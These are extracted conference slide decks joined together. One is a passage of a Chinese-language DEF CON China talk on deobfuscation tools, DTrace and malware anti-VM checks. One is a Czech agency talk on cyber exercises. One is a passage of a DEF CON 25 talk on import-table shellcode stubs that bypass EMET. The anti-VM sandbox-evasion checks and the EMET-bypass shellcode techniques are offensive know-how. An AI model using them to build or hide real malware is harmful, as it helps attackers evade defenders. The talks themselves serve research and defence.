DEF"CON"CHINA"1.0"(2019)" 45" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 46" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" sub!eax,!B9! add!eax,ecx! add!eax,!B9! sub!eax,!B9! sub!eax,!86! add!eax,ecx! add!eax,!86! push!edx! mov!edx,!42! inc!edx! dec!edx! add!edx,!77! add!eax,!edx! pop!edx! push!ebx! mov!ebx,!B9! sub!eax,!ebx! pop!ebx! sub!eax,!55! sub!eax,!32! add!eax,!ecx! add!eax,!50! add!eax,!37! push!edx! push!ecx! mov!ecx,!49! mov!edx,!ecx! pop!ecx! inc!edx! add!edx,!70! dec!edx! add!eax,!edx! pop!edx! add!eax,!ecx!! 1! 2! 3! 4! 如何逆向混淆代码,从阶段4回到阶段1? J DEF"CON"CHINA"1.0"(2019)" 47" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  METASM 作为反汇编器器,汇编器器,调试器器,编译器器和链接器器。 ü  主要特点: ü  Ruby语⾔言编写 ü  C编译器器和反编译器器 ü  ⾃自动回溯 ü  实时流程操作 ü  ⽀支持以下架构: ü  Intel IA32 (16/32/64 bits) ü  PPC ü  MIPS ü  ⽀支持以下⽂文件格式: ü  MZ and PE/COFF ü  ELF ü  Mach-O ü  Raw (shellcode) ü  root@kali:~/programs# git clone https://github.com/jjyg/metasm.git ü  root@kali:~/programs# cd metasm/ ü  root@kali:~/programs/metasm# make ü  root@kali:~/programs/metasm# make all ü 将以下行包含到.bashrc文件中,以指示Metasm⽬目录安装: ü export RUBYLIB=$RUBYLIB:~/programs/metasm DEF"CON"CHINA"1.0"(2019)" 48" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" 插⼊入这条指令是为了了使eax寄存器器的 计算更更容易易. J v  based on metasm.rb file and Bruce Dang code. DEF"CON"CHINA"1.0"(2019)" 49" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" 从start开始初始化和反汇 编代码。 列出汇编代码。 确定从那里返回的最后一条指令是 什么。J 初始化回溯引擎. DEF"CON"CHINA"1.0"(2019)" 50" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" 从上一条指令回溯。 只显示有效的指令,这真的可以改 变最终的结果。 记录回溯指令的序 列列。 DEF"CON"CHINA"1.0"(2019)" 51" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" 记住:这是混淆代码。!J! DEF"CON"CHINA"1.0"(2019)" 52" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 53" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" Game!over.! J DEF"CON"CHINA"1.0"(2019)" 54" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" 输出来⾃自"backtracing_log.select"命令"(在逆 向中)" DEF"CON"CHINA"1.0"(2019)" 55" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  仿真始终是解决实际逆向⼯工程问题的⼀一种优秀⽅方法,幸运的是,我们有uEmu,还 可以使⽤用Keystone Engine 汇编器器和Capstone Engine 反汇编器器。 J ü  Keystone Engine的作用是汇编和: ü  支持x86、Mips、Arm等多种架构。 ü  它是用C/ C++实现的,并绑定到Python、Ruby、Powershell和C#(以及其他语⾔言)。 ü  安装Keystone: ü  root@kali:~/Desktop# wget https://github.com/keystone-engine/keystone/archive/0.9.1.tar.gz ü  root@kali:~/programs# cp /root/Desktop/keystone-0.9.1.tar.gz . ü  root@kali:~/programs# tar -zxvf keystone-0.9.1.tar.gz ü  root@kali:~/programs/keystone-0.9.1# apt-get install cmake ü  root@kali:~/programs/keystone-0.9.1# mkdir build ; cd build ü  root@kali:~/programs/keystone-0.9.1/build# apt-get install time ü  root@kali:~/programs/keystone-0.9.1/build# ../make-share.sh ü  root@kali:~/programs/keystone-0.9.1/build# make install ü  root@kali:~/programs/keystone-0.9.1/build# ldconfig ü  root@kali:~/programs/keystone-0.9.1/build# tail -3 /root/.bashrc ü  export PATH=$PATH:/root/programs/phantomjs-2.1.1-linux-x86_64/bin:/usr/local/bin/kstool ü  export RUBYLIB=$RUBYLIB:~/programs/metasm ü  export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/lib DEF"CON"CHINA"1.0"(2019)" 56" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" 来⾃自原始模糊代码的指 令 创建⼀一个 keystone 引擎 使用keystone引擎汇编我 们的指令。 释放内存,关闭 引擎. DEF"CON"CHINA"1.0"(2019)" 57" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 58" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" 安装 Capstone: apt-get install libcapstone3 libcapstone-dev J DEF"CON"CHINA"1.0"(2019)" 59" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" OCapstone反汇编的原始代 码.!J! DEF"CON"CHINA"1.0"(2019)" 60" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" IDA!Pro确认了了我们的 反汇编任务.!J! DEF"CON"CHINA"1.0"(2019)" 61" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  # git clone https://github.com/unicorn-engine/unicorn.git ü  # cd unicorn ; ./make.sh ü  # ./make.sh install DEF"CON"CHINA"1.0"(2019)" 62" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 63" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 64" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 65" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 66" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 67" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 68" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" 在运行uEmu之 前进⾏行行设置 这个结果确定我们之前的结论 ü  下载uEmu 从 https://github.com/alexhude/uEmu ü  安装Unicorn: pip install unicorn. ü  在IDA中加载 uEmu 使⽤用 ALT+F7 热键. ü  右键单击 代码并选择uEmu⼦子菜单。 ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" "MIASM DEF"CON"CHINA"1.0"(2019)" 69" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 70" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  MIASM是逆向⼯工程中最令⼈人印象深刻的框架之⼀一,它能够分析、生成和修改⼏几种不不 同类型的程序。 ü  MIASM支持从ARM、x86、MIPS等不不同平台汇编和反汇编程序,还可以使⽤用JIT进⾏行行仿 真。 ü  因此, MIASM 是最出⾊色的对抗混淆的⼯工具. ü  安装 MIASM: ü  git clone https://github.com/serpilliere/elfesteem.git elfesteem ü  cd elfesteem/ ü  python setup.py build ü  python setup.py install ü  apt-get install clang ü  apt-get remove libtcc-dev ü  apt-get install llvm ü  cd .. ü  git clone http://repo.or.cz/tinycc.git ü  cd tinycc/ ü  git checkout release_0_9_26 ü  ./configure --disable-static ü  make ü  make install DEF"CON"CHINA"1.0"(2019)" 71" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  pip install llvmlite ü  apt-get install z3 ü  apt-get install python-pycparser ü  git clone https://github.com/cea-sec/miasm.git ü  root@kali:~/programs/miasm# python setup.py build ü  root@kali:~/programs/miasm# python setup.py install ü  root@kali:~/programs/miasm/test# python test_all.py ü  apt-get install graphviz ü  apt-get install xdot ü  (testing MIASM) root@kali:~/programs# python /root/programs/miasm/example/disasm/ full.py -m x86_32 /root/programs/shellcode INFO : Load binary INFO : ok INFO : import machine... INFO : ok INFO : func ok 0000000000001070 (0) INFO : generate graph file INFO : generate intervals [0x1070 0x10A2] INFO : total lines 0 ü  (testing MIASM) xdot graph_execflow.dot DEF"CON"CHINA"1.0"(2019)" 72" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 73" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" 打开我们的⽂文件。容器器向反汇编引擎 提供字节源。 使用x86 32位体系结构实例例化组装引 擎。 从开始运⾏行行递归的横向反汇 编。 ⽣生成点图。 将“llvm”设置为Jit引擎进⾏行行仿 真并初始化堆栈。 设置虚拟启动地址、寄存 器器值和内存保护。 在最后⼀一⾏行行代码中添 加断点。 运⾏行行仿真 DEF"CON"CHINA"1.0"(2019)" 74" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" 反汇编我们的代码(再⼀一次) J DEF"CON"CHINA"1.0"(2019)" 75" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 76" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" 我们的⽬目标代码. J DEF"CON"CHINA"1.0"(2019)" 77" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" 得到IRA转换器器。 初始化并运⾏行行符号执⾏行行引 擎。 DEF"CON"CHINA"1.0"(2019)" 78" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 79" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" 我们之前的测试也得出 了了同样的结论。 J ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" "DTRACE on WINDOWS DEF"CON"CHINA"1.0"(2019)" 80" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 81" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  DTrace是⼀一个动态跟踪框架,它在Solaris操作系统上⾮非常⾼高效并且⾮非常有 名。 ü  Dtrace最初由太阳微系统公司的Mike Shapiro、Adam Leventhal和Brian Cantrill 编写。尽管他们从2003年年开始开发DTrace,但它只在Solaris 10 03/05中引入。 ü  它用于在⽤用户和内核模式下获得系统的实时概览。此外,它还可以⽤用来理理 解应⽤用程序和系统的⾏行行为。 ü  几个月前,DTrace被移植到Windows: https://github.com/opendtrace/ opendtrace/tree/windows ü  DTrace可以概括为⼀一组分散在内核关键点上的探针(传感器器)。因此,每次“激 活”探测时,都可以注册并理理解应⽤用程序⾏行行为。 ü  使用DTrace可以更容易地跟踪进程和系统的概要⽂文件、查找哪些系统调⽤用 被“调⽤用”、进程写入/读取了了多少字节、进程打开了了多少⽂文件、跟踪被调⽤用的 系统调⽤用序列列等等。 DEF"CON"CHINA"1.0"(2019)" 82" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  DTrace 的脚本使⽤用 D语⾔言编写 (与 awk相似). ü  探测名称由以下语法描述: provider:module:function:name 定义如下: ü  provider: ⽤用于测量量系统某⼀一区域的探针库。在Windows上,现有的提 供者有syscall、etw、profile、pid和dtrace。 ü  module: 内核模块,我们在这⾥里里找到探针。 ü  function: 函数包含探针. ü  name:⽬目标探测的特定名称或描述。 ü  关键概念: ü  predicates:⽤用户定义的条件。 ü  actions:当探测触发时运⾏行行的任务。 ü  aggregations:使用聚合函数合并数据。 DEF"CON"CHINA"1.0"(2019)" 83" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  安装 DTrace: ü  Windows 10 x64 (build 18342 或更更晚) 来自Windows内部程序。 ü  bcdedit.exe /set dtrace on ü  下载 DTrace package: http://download.microsoft.com/download/B/D/4/ BD4B95A5-0B61-4D8F-837C-F889AAD8DAA2/DTrace.amd64.msi ü  _NT_SYMBOL_PATH=srv*C:\symbols*https://msdl.microsoft.com/ download/symbols ü  引导系统。 ü  以管理理员身份打开命令提示符. ü  如果使用fbt(函数边界跟踪),则需要附加WinDbg并在调试模式下启动 窗⼝口。 J DEF"CON"CHINA"1.0"(2019)" 84" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 85" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 86" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 87" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 88" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 89" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  可以使⽤用另⼀一种类型的提供程序“fbt”(函数边界跟踪),它跟踪通过内核中的 NTFS执⾏行行的系统调⽤用序列列。 ü  只有当Windows 10附加内核调试器器时,才可以使用“fbt”提供程序。 DEF"CON"CHINA"1.0"(2019)" 90" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 91" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 92" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 93" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 94" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" Traceext.sys:!将DTrace使⽤用的功能 公开给跟踪。! DEF"CON"CHINA"1.0"(2019)" 95" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" "反虚拟化 DEF"CON"CHINA"1.0"(2019)" 96" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 97" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  使用反虚拟化技术编写恶意软件样本⾮非常容易易,这些技术⽤用于检测 VMWare(检查I/O端口通信)、VirtualBox、Parallels、SeaBIOS仿真器、QEMU仿真 器、Bochs仿真器、QEMU仿真器、Hyper-V、Innotek VirtualBox、sandbox (Cuckoo)。 ü  此外,有⼏几⼗十种技术可以⽤用于检测Vmware沙箱: ü  检查注册表(OpenSubKey()函数),以尝试找到与客户端中安装的⼯工具相 关的条⽬目 (HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\VirtualMachine\Guest\Para meters). ü  使⽤用WMI查询Win32_BIOS管理理类,以与物理理机器器中的属性进⾏行行交互。 ü  我们已经知道了了世界上每⼀一种反虚拟化技术,并且所有这些技术都有⽂文 档。 ü  ⽬目前⼤大多数技术都使⽤用WMI,使用WMI可以快速编写C#程序。 DEF"CON"CHINA"1.0"(2019)" 98" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 99" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  上⼀一张幻灯⽚片的代码没有任何新信息: ü  ManagementClass class 代表 公共信息模型(CIM)管理理类。 ü  Win32_BIOS WMI class 代表 BIOS的属性和该类的成员使您能够使⽤用特 定的WMI类路路径访问WMI数据。 ü  GetInstances( )获取类的所有实例例的集合。 ü  GetEnumerator( ) 返回集合的枚举器器(IEnumerator)。 ü  IEnumerator.Current( ) 返回相同的对象。 ü  IEnumerator.MoveNext( ) 将枚举数推进到集合的下⼀一个元素。 q  物理理主机: C:\> Test_VM.exe 属性: 版本: DELL - 6222004 序列列号: D5965S1 操作系统: 0 ⽣生产商: Dell Inc. q  客户虚拟机: E:\> Test_VM.exe 属性: 版本: LENOVO - 6040000 序列列号: VMware-56 4d 8d c3 a7 c7 e5 2b-39 d6 cc 93 bf 90 28 2d 操作系统: 0 ⽣生产商: Phoenix Technologies LTD DEF"CON"CHINA"1.0"(2019)" 100" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 101" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" 双击结果...."" DEF"CON"CHINA"1.0"(2019)" 102" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 103" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 104" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  在虚拟机中不支持获取温度数据。 ü  因此,恶意软件能够知道它们是否在虚拟 机上运⾏行行。 J ü  物理理主机: C:\> VM_Test2.exe 状态:好的,程序在物理主机上运行! ü  虚拟机: C:\> VM_Test2.exe 这个程序正在虚拟机中运⾏行行! DEF"CON"CHINA"1.0"(2019)" 105" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" q ⼏几点结论: ü 在尝试打开现代保护器器之前,了解常用的反逆向技术是非常必要 的。 ü MIASM和METASM是处理理和消除复杂代码混淆的出⾊色⼯工具。 ü 仿真是理理解⼩小⽽而复杂的代码段的⼀一种可能的替代⽅方法。 ü DTrace在Solaris上做得很好,请继续关注它可能是Windows操作系 统上的⼀一个优秀⼯工具。 J ü 尽管优秀的研究已经发现了了复杂的反虚拟化技术,但仍然存在许 多其他简单⽽而智能的技术,所以请当心! DEF"CON"CHINA"1.0"(2019)" 106" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" v Acknowledgments to: ü DEF CON的⼯工作⼈人员, 对我⾮非常友好 ü 你, 预留留了了⼀一些时间来听我的演讲。 ü 记住: 人生最美好的是人. J DEF"CON"CHINA"1.0"(2019)" 107" ALEXANDRE"BORGES"–"IT"IS"NOT"ALLOWED"TO""COPY"OR"REPRODUCE"THIS"SLIDE.""" ü  Malware and Security Researcher. " ü  Speaker at DEFCON USA 2018 ü  Speaker at HITB2019 Amsterdam ü  Speaker at CONFidence Conf. 2019 ü  Speaker at BSIDES 2018/2017/2016 ü  Speaker at H2HC 2016/2015 ü  Speaker at BHACK 2018 ü  Consultant, Instructor and Speaker on Malware Analysis, Memory Analysis, Digital Forensics and Rookits. " ü  Reviewer member of the The Journal of Digital Forensics, Security and Law." ü R f Di it l 感谢您的聆听.!J! 謝謝! ! Ø  Twitter:!! ! @ale_sp_brazil! @blackstormsecbr! ! ! Ø  Website:!http://blackstormsecurity.com! Ø  LinkedIn:!http://www.linkedin.com/in/ aleborges! Ø  E-mail:! [email protected]!
pdf
Improving Cybersecurity through Non-Technical Exercises and In- House Strategic Analysis View from the Czech Republic by Michal Thim DRAFT - DO NOT QUOTE DISCLAIMER: The views and opinions expressed in this presentation are those of the presenter and do not necessarily reflect the official policy, position of the National Cyber and Information Security Agency of the Czech Republic, or any other government agency.  Cyber and policy/OSINT specialist at the Czech National Security Authority/National Cyber and Information Security Agency (NCISA) since August 2016, with research focus on East Asia (military and security developments, APTs)  Background in political science. Not even remotely close to be a technical expert.  Worked in a foreign policy think-tank (experience with decision-making environment)  Tried academic environment (and left it behind, which made both me and academia quite happy)  Developed some knowledge of Chinese language (can order coffee in Starbucks and has a 50% chance to answer correctly YES/NO question)  Above is not atypical personnel profile at the NCISA DRAFT - DO NOT QUOTE  Central body of state administration for cyber security  Mission(s)  Operation of the government CERT team: GovCERT.CZ  Cooperation with national & international CERT teams  Coordination and implementation of the National Cyber Security Strategy and related Action Plan  Protection of critical information infrastructure and other important systems (helping them to protect themselves)  Preparation of exercises and education projects  Analysis and monitoring of cyber threats  International cooperation DRAFT - DO NOT QUOTE  Outline of the institutional framework for cybersecurity in the Czech Republic  Non-technical exercises and its relevance for decision making process  Strategic analysis helps decision makers to understand cybersecurity DRAFT - DO NOT QUOTE DRAFT - DO NOT QUOTE  Even relatively simple setup involves number of agencies across government sector  There is a significant number of people that need to be well-informed, so they make the right decision in a timely fashion when the crisis comes.  One way: cyber security exercises that simulate real-world possibilities  Another way: strategic analysis DRAFT - DO NOT QUOTE Policy and decision makers  Strategic perspective  Have direct (political) responsibility for policy decisions  Need to take into considerations inputs from various directions, including domestic and international law  Do not always understand severity of a cyber security incident DRAFT - DO NOT QUOTE Technical experts  Operational/tactical perspective  Specialists in their respective fields  See decision making as slow, not corresponding to pressing needs  Do not always communicate with decision makers in a mutually understandable manner 1. COMM-CHECKS  Testing existing/stated communication channels 2. STRATEGIC EXERCISES (incl. tabletops)  Real world-like scenarios, crisis simulation  We do customized TTXs for partners (e.g. U.S. Cyber Command, NATO ACT) 3. CRISIS MANAGEMENT EXEs (CMXs)  Specifically designed to test existing decision-making processes 4. TECHNICAL EXERCISES (Cyber ranges)  Simulated attacks, Red team Vs Blue team 5. HYBRID/FULL-SCALE EXEs  Exercises involving technical and non-technical elements (not necessarily integrating them)  Provides link between technical teams and strategic perspective DRAFT - DO NOT QUOTE DRAFT - DO NOT QUOTE DRAFT - DO NOT QUOTE DRAFT - DO NOT QUOTE  Coordinated by Cooperative Cyber Defense Centre of Excellence (CCDCOE) based in Tallinn, Estonia  Since 2010  Participants in the exercise are NATO member states, NATO partner countries & NATO CIRC team (possible Australian participation in future?)  Four teams (up to 200 personnel] operate out of Tallinn, Estonia:  RED TEAM  GREEN TEAM (physical and online infrastructure)  WHITE TEAM (scenario)  YELLOW TEAM (operational awareness)  BLUE TEAMS operate out of their respective countries  19 blue teams took part in LS17  Czech team participated in preparation and was involved in white, red and green teams  Czech blue team: NCISA, CZ.NIC, MoD and others DRAFT - DO NOT QUOTE  Blue teams assumed role of government CERT teams of a fictional country Berylia  Red team assumed role of a fictional country Crimsonia that has a long- standing dispute with Berylia and generally considers it as partr of its influence sphere  Target:  Major air base  Control of Unmanned Aerial Vehicles crucial for Berylia’s defense and domestic industry  Fuel storage (SCADA systems)  Blue teams were scored not only based on their ability to keep their systems operational, but also in terms of how they reacted to media AND legal queries DRAFT - DO NOT QUOTE  Based on the same scenario but included some extras: cyber attacks on elections that preceded the technical game scenario  It was not strictly speaking strategic game because no high-ranked personnel was involved  Blue teams had to consider their own legal/institutional frameworks and take decision their governments would take  Few lessons:  Legal aspects are important, especially if the conflict has international nature (international law, Tallinn Manual 2.0)  The existing legal and institutional frameworks are often not ready to deal with effects of cyber attacks  It is relatively easy to overreact/underreact DRAFT - DO NOT QUOTE DRAFT - DO NOT QUOTE DRAFT - DO NOT QUOTE  Tabletop exercise (tabletop version of technical CyberCzech exercise)  scenario involved fictional countries of Pilsneria, its ally Brotherland, and Sauronia that declared “cyber war” on Pilsneria  loosely based on civil war in Syria and European refugee crisis  Events (and injects) involved:  DDoS attacks, data theft, theft of laptop, ransomware attacks, attacks on power grid, UAV hijacking…full menu, really  Combination of cybersecurity incidents/attacks and physical domain events  6 teams: public servants, intelligence community and military, legal team, decision-makers, private sector, media => NOT SIMULATED DRAFT - DO NOT QUOTE Lessons learned included:  Decision-makers hesitate to act  Media communication is essential  Need for greater emphasis on cyber hygiene (theft of laptop part of scenario, email habits exposed participants to spear-phishing)  Technical and non-technical teams need to communicate clearly with decision makers  Greater emphasis on whole-of-society approach (e.g. MIL hesitated to cooperate with CIV)  Briefings on strategic level are inadequate and mostly reactive DRAFT - DO NOT QUOTE  OSINT-based (Open-Source Intelligence)  Early warning system  Risk prevention  prevention of cyber threats and future attacks through context analysis  Information support during crisis situations  Knowledge base build-up (collection of resources, own analytical production)  Information sharing DRAFT - DO NOT QUOTE DRAFT - DO NOT QUOTE  Combine open source and Government CERT information (or in more general terms: combine knowledge of technical and non-technical teams)  Not all strategic analysis at NCISA is a result of cooperation between OSINT team and GovCERT nor is there a need for it  We know we can reach out to each other anytime DRAFT - DO NOT QUOTE  Still relatively new  ThreatConnect & DGI cooperation on an exposure of Unit 78020 is a very good example  Governments have the choice to outsource but for many reason they will often opt to do it in- house  The advantage is that the cooperation becomes institutionalized over time and not just ad hoc/project-based  Strategic analysis informed by technical analysis supports good decision making DRAFT - DO NOT QUOTE  Confront decision makers with life-like situations  Involves personnel that is typically not a part of a technical exercise  Allows to employ scenarios that reflect real-life events: helps decision makers to go from abstract to practical aspects of cybersecurity incidents  Demonstrate that events in cyberspace could lead to physical damage and/or exploit pre-existing division in society  It is a learning lesson for all involved  Principals lead by example if they take part (reality: they tend not to do it)  Clarification of roles  Networking DRAFT - DO NOT QUOTE DRAFT - DO NOT QUOTE  Much has been said about the role of exercises and strategic analysis and how they help to bridge communication between technicians and decision makers  Not much has been said about people who are preparing exercises and relaying communication from technical/tactical to decision- making/strategic level  We are not superheroes who came to save the day, the process is a great learning experience for everyone involved and that includes us DRAFT - DO NOT QUOTE DRAFT - DO NOT QUOTE @michalthim [email protected] PGP: 0B31 F374 9C42 60FF 8182 19A7 4168 1972 DD10 E97E
pdf
Teaching Old Shellcode New Tricks DEF CON 25 @midnite_runr Whoami • US Marine (out in 2001) • Wrote BDF/BDFProxy • Found OnionDuke • Co-Authored Ebowla • Work @ Okta • Twitter: @midnite_runr • Github: github.com/ secretsquirrel Why This Talk • It’s fun • It’s time to update publicly available Windows shellcode Outline • History • Further Development • Mitigations and Bypasses Part I History Stephen Fewer’s Hash API • SFHA or Hash API or MetaSploit Payload Hash • Introduced: 8/2009 • Uses a 4 byte hash to identify DLL!WinAPI in EAT • JMPs to the WinAPI ; return to payload • Some code borrowed from M.Miller’s 2003 Understanding Windows Shellcode paper http://blog.harmonysecurity.com/2009/08/calling-api-functions.html Typical SHFA Based Payload [—SHFA—][the actual payload logic] Typical SHFA Based Payload [—SHFA—][the actual payload logic] 1 Typical SHFA Based Payload [—SHFA—][the actual payload logic] 1 2 Typical SHFA Based Payload [—SHFA—][the actual payload logic] 1 2 3 Typical SHFA Based Payload [—SHFA—][the actual payload logic] [some winAPI] 1 2 3 Typical SHFA Based Payload [—SHFA—][the actual payload logic] [some winAPI] 1 2 3 4 Typical SHFA Based Payload [—SHFA—][the actual payload logic] [some winAPI] 1 2 3 4 5, Continue to 2 until done Defeating SFHA • EMET • Piotr Bania Phrack 63:15 // HAVOC - POC||GTFO 12:7 EMET Caller/EAF(+) • EAF(+) • Introduced: 2010/2014(+) • Protect reading KERNEL32/NTDLL and KERNELBASE(+) • Caller • 2013 • Block ret/jmp into a winAPI (Anti/rop) for critical functions EMET is EOL • Supported through July 31, 2018 • Still works** • Re-introduced in Windows 10 RS3 ** Depends on threat model Tor Browser Exploit vs EMET Bypassing EMET EAF(+) • 2010: Berend-Jan Wever (Skypher Blog) - ret-to-libc via ntdll • 1/2012 Piotr Bania - Erase HW Breakpoints via NtContinue • 9/2014 - Offensive Security - EAF+ bypass via EMET function reuse calling ZwSetContextThread directly http://web.archive.org/web/20101125174240/http://skypher.com/index.php/2010/11/17/bypassing-eaf/ http://piotrbania.com/all/articles/anti_emet_eaf.txt https://www.offensive-security.com/vulndev/disarming-emet-v5-0/ Bypassing EMET Caller 2/2014 - Jared Demot - Demo’ed a payload that directly used LoadLibraryA (LLA) https://bromiumlabs.files.wordpress.com/2014/02/bypassing-emet-4-1.pdf IAT Based Payloads in BDF • May 30, 2014 • Added IAT based payloads/shellcode to BDF • Directly used IAT API thunks • This bypassed EMET Caller/EAF(+) checks Position Independent IAT Shellcode • Dec, 2014 • 12/2003 - Skape (M. Miller) Understanding Windows Shellcode • 2005 - Piotr Bania - IAT Parser - Phrack 63:15 • 1997 - Cabanas Virus - 29A http://www.hick.org/code/skape/papers/win32-shellcode.pdf http://phrack.org/issues/63/15.html http://virus.wikidot.com/cabanas Emailed the EMET Team ¯\_()_/¯ IAT Based Stub LoadLibraryA(LLA)/GetProcAddress(GPA) in Main Module https://gist.github.com/secretsquirrel/2ad8fba6b904c2c952b8 IAT Based Stub(s) • LoadLibraryA/GetProcAddress in Main Module • LoadLibraryA/GetProcAddress in a loaded Module (dll) GetProcAddress Only Stub GetProcAddress Only Stub GetProcAddress LoadLibraryA GetProcAddress Only Stub GetProcAddress LoadLibraryA LoadLibraryA.Handle = GetProcAddress(Kernel32.addr, ‘LoadLibraryA’) GetProcAddress Only Stub GetProcAddress LoadLibraryA LoadLibraryA.Handle = GetProcAddress(Kernel32.addr, ‘LoadLibraryA’) Push eax; LLA is in EAX mov ebx, esp; mov ptr to LLA in ebx … call [ebx] IAT Based Stub(s) • LoadLibraryA(LLA)/GetProcAddress(GPA) in main module • LLA/GPA in a loaded module (dll) • GPA to LLA in main module • GPA to LLA in loaded module System Binaries/DLLs with LLAGPA or GPA in IAT LLAGPA GPA XPSP3 1300 5426 VISTA 645 26855 WIN7 675 48383 WIN8 324 31158 WIN10 225 50522 FireEye Flash Malware w/ EMET Bypass Jun 06, 2016 https://www.fireeye.com/blog/threat-research/2016/06/angler_exploit_kite.html POC: https://github.com/ShellcodeSmuggler/IAT_POC https://www.okta.com/blog/2016/07/the-emet-serendipity-emets-ineffectiveness-against-non-exploitation-uses/ What now? • July 2016 • More payloads • Many MetaSploit payloads were based off of Hash API stub • Much work • Some ideas Part II Further Development Two Ideas • Remove SFHA and replace it with X • Build something to rewrite the payload logic for use with an 